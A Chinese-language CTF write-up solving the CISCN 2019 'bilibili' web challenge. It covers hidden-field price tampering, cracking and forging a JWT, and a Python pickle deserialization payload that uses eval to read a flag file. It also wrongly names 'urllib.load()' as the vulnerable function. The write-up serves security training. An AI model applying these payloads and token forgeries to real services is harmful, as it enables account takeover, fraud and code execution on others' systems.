0%

CISCN 2019 web_bilibili

CISCN 2019 web_bilibili

题目地址

https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5421&page=3

题目提示

薅羊毛与逻辑漏洞

网站截图

1.jpg

解题过程

  1. 先注册试试看。注册成功后尝试购买了一个账号,成功。

    image-20200807180927483.png

  2. 浏览一下网页,发现了这样一句话:一定要买到lv6。突然想到之前ik*n买lv6账号爆睿站的事情。大概翻了几页,没看到lv6。检查元素后发现,每个等级对应的图片名称就是lv+等级+.png

    image-20200807181222993.png

  3. python脚本伺候.找到第181页有lv6账号

    1
    2
    3
    4
    5
    6
    7
    import requests
    url = r'http://220.249.52.133:47045/shop?page='
    for page in range(1, 500):
    req = requests.get(url + str(page))
    if 'lv6.png' in req.text:
    print('[+]FOUND!\n[+]At page',page)
    break
  4. 找到一个叫b*sh*的账号.价格真够贵.居然要1145141919,这么臭的价格,真的有买的必要吗?买一下试试,果然操作失败.

    image-20200807182130307.png

  5. 发现有一个叫折扣的东西,看一下源代码.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <div class="jumbotron">
    <h1>购物车</h1>
    <div class="shopcar_list">
    <ul class="list-group">
    <li class="list-group-item">b*sh* <img src="/static/img/lv/lv6.png" alt=""/> /
    1145141919.0
    </li>
    <p>优惠券:-20.0%</p>
    <p>916113535.2</p>
    </ul>
    <form action="" method="post">
    <input type="hidden" name="_xsrf" value="2|632dee6f|b462f5648dfa4b927eeb9581ad057b17|1596793343"/>
    <input type="hidden" name="id" value="1624">
    <input type="hidden" name="price" value="1145141919.0">
    <input type="hidden" name="discount" value="0.8">
    <button class="btn btn-danger" type="submit">结算</button>
    </form>
    </div>
    </div>

    注意到其中13-15行居然都是input标签,尝试修改.修改价格失败,修改折扣成功.点击结算后显示页面仅允许admin访问.

    image-20200807182852209.png

  6. 已经登陆账号,再有身份验证就应该和cookies有关了.查看cookies,有一个JWT.

    image-20200807183041972.png

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准<a href=https://link.jianshu.com?t=https://tools.ietf.org/html/rfc7519r>RFC 7519.该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

​ 搜索JWT后找到了相关工具jwt cracker,破解SHA256,得到密钥1Kun

image-20200807185740445.png

​ 在JWT.io生成新的JWT

image-20200807191017303.png

​ 修改cookies后刷新。

image-20200807191006876.png

​ 进入到新的界面,然而按钮点击无效。查看源码。

image-20200807191126831.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<div class="ui text container login-wrap-inf">
<!-- 潜伏敌后已久,只能帮到这了 -->
<a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
<div class="ui segments center padddd">
<!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->
<div class="ui segment">
<img src="/static/img/b.png" alt=""/>
<p>admin</p>
</div>
<div class="ui segment">This is Black Technology!</div>
<div class="ui segment">
<form action="/b1g_m4mber" method="post">
<input type="hidden" name="_xsrf" value="2|7d6064a8|aa2f7fa393b7c15560a61f46b348f1d0|1596793343"/>
<input hidden="hidden" type="text" class="f-m ui segment" name="become" placeholder="" value="admin" required>
<div class="group">
<button type="submit" class="ui secondary button ">一键成为大会员</button>
</div>
</form>
</div>
</div>
</div>

​ 绝了,这题做着做着,还有剧情了。
​ 在网页上检查元素,删掉第14行中的hidden=”hidden”,显示出输入栏
​ 第3行中有一个压缩文件,下载解压后得到了网站的源码。其中有admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

​ 到这里我不会了,打开admin.py,把里面不认识的函数+漏洞作为关键词挨个搜索了之后,urllib.load()这个函数存在一个反序列化漏洞。按照blog里的仿写一个payload。反序列化漏洞

1
2
3
4
5
6
7
8
9
# 只能使用python2,python3因为不明原因无法正常生成payload
import pickle as p
import urllib as u
class payload(object):
def __reduce__(self):
return (eval, ('open("/flag.txt","r").read()',))
a = p.dumps(payload())
a = u.quote(a)
print(a)

​ 将输出的payload填进输入栏后即得到flag

image-20200807193720295.png

-EOF-